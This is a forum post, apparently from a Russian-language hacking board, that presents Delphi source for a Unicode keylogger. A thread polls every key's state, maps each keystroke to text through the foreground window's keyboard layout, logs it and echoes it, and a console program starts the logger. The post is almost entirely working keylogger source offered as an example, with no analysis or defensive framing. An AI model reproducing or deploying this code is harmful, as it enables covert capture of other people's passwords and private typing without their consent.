[Статья] [Delphi]-Unicode Keylogger Example

[HAHo_tech]

unit UnitKeyLogger;

interface

uses
  Windows,Classes;

type
  TUnicodeKeylogger = class(TThread)
  private
    { Private declarations }
  public
    FActiveBackSpace:Boolean;
    FullLogData : String;
    function IsKeyPressed(KeyCode: Integer): Boolean;
    procedure AddKey(StrKey: String);
  protected
    procedure Execute; override;
  end;

implementation

procedure TUnicodeKeylogger.AddKey(StrKey: String);
begin
    FullLogData := FullLogData + StrKey;
    Write(StrKey);
end;

function TUnicodeKeylogger.IsKeyPressed(KeyCode: Integer): Boolean;
begin
    result := (Windows.GetAsyncKeyState(KeyCode) and $8001) = $8001;
end;

procedure TUnicodeKeylogger.Execute;
var
 VirtKey        : UINT;
 ScanCode       : UINT;
 UniEx          : Integer;
 keyboardLayout : HKL;
 keyboardSpeed  : Integer;
 keyboardState  : TKeyboardState;
 strBuffer      : String;
 UnicodeChar    : array[0..1] of WChar;
 strkeyname     : Array[0..32] of Char;
 dwThread       : DWORD;
 dwProcess      : DWORD;
 dwHandle       : HWND;
BEGIN
  Windows.SystemParametersInfo(Windows.SPI_GETKEYBOARDSPEED, 0, @keyboardSpeed, 0);
  WHILE NOT Terminated DO
  BEGIN
    Windows.GetKeyState(VK_CAPITAL);
    Windows.GetKeyboardState(keyboardState);
    dwHandle:= Windows.GetForegroundWindow();
    dwThread:= Windows.GetWindowThreadProcessId(dwHandle,@dwProcess);
    keyboardLayout:= Windows.GetKeyboardLayout(dwThread);
    FOR VirtKey := 0 TO $FF DO
      IF IsKeyPressed(VirtKey) THEN
      BEGIN
        IF VirtKey = 8 THEN // silmeye basilirsa
        BEGIN
          IF FActiveBackSpace THEN
          BEGIN
            Delete(FullLogData, Length(FullLogData), 1);
          END
          ELSE
          BEGIN
            Continue;
          END;
        END;
        ScanCode := Windows.MapVirtualKeyEx(VirtKey, 0, keyboardLayout);
        Windows.GetKeyNameTextA(ScanCode SHL 16,strkeyname,sizeof(strkeyname));
        IF Windows.lstrlenA(strkeyname) > 1 THEN
        BEGIN
         IF VirtKey = VK_SPACE  THEN strkeyname := ' ';  // bosluk tusu
         IF VirtKey = VK_RETURN THEN strkeyname := #13#10; // enter tusu
         AddKey(strkeyname);
         Continue;
        END;
        UniEx := Windows.ToUnicodeEx(VirtKey, ScanCode, @keyboardState, @UnicodeChar, 2, 0, keyboardLayout);
        strBuffer := UnicodeChar;
        SetLength(strBuffer,UniEx);
        AddKey(strBuffer);
      END;
    Sleep(keyboardSpeed DIV 4);
  END;
END;

END.

program Lib;

{$APPTYPE CONSOLE}

uses
  Windows,
  UnitKeyLogger in 'UnitKeyLogger.pas';

VAR
  Msg : TMsg;
  Keylogger:TUnicodeKeylogger ;
  LangID : Cardinal;
begin
  { TODO -oUser -cConsole Main : Insert code here }
  LangID:=Windows.GetUserDefaultLangID;
  Windows.SetThreadLocale(LangID);
  Keylogger:=TUnicodeKeylogger.Create(False);
  Keylogger.Resume;

  While Windows.GetMessage(Msg,0,0,0) Do
  Begin
      Windows.TranslateMessage(Msg);
      Windows.DispatchMessageA(Msg);
  End;
end.

[Ссылки могут видеть только зарегистрированные пользователи. ]